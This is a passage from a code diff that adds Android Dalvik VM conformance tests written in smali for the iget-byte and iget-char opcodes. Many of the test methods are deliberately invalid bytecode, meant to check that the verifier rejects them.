+.method public run()V
+.registers 3
+
+       iget-byte v3, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali
new file mode 100644
index 0000000..477d230
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_30.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;
+    iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_30;->st_i1:B
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali
new file mode 100644
index 0000000..6fb67f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_31.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_31;->st_i1:B
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali
new file mode 100644
index 0000000..e3a9eb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_35.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_35.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 2
+       iget-byte v0, v1, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v0
+.end method
+
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali
new file mode 100644
index 0000000..05b4ca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_4.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_4;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali
new file mode 100644
index 0000000..e312099
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_5.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali
new file mode 100644
index 0000000..3e3bab9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_6.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali
new file mode 100644
index 0000000..8532061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_7.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali
new file mode 100644
index 0000000..9cb72b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_8.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;->i1N:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali
new file mode 100644
index 0000000..dcde340
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_9.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       const v0, 0
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali
new file mode 100644
index 0000000..5c18b32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali

@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_1.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+.field protected  p1:C
+.field private  pvt1:C
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       
+       
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali
new file mode 100644
index 0000000..500ed0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_11.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_11;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali
new file mode 100644
index 0000000..f7e4754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_12.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_12;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali
new file mode 100644
index 0000000..e4356bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_13.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_13;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali
new file mode 100644
index 0000000..dcba0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_15.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali
new file mode 100644
index 0000000..da83e9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_16.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali
new file mode 100644
index 0000000..b99125a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_17.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali
new file mode 100644
index 0000000..ca933e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_18.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali
new file mode 100644
index 0000000..2a4c57d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_19.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali
new file mode 100644
index 0000000..314b255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_20.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali
new file mode 100644
index 0000000..8edfdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_21.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali
new file mode 100644
index 0000000..d365f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_3.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v3, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_3;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali
new file mode 100644
index 0000000..3367fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_30.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+    iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;->st_i1:C
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali
new file mode 100644
index 0000000..3290796
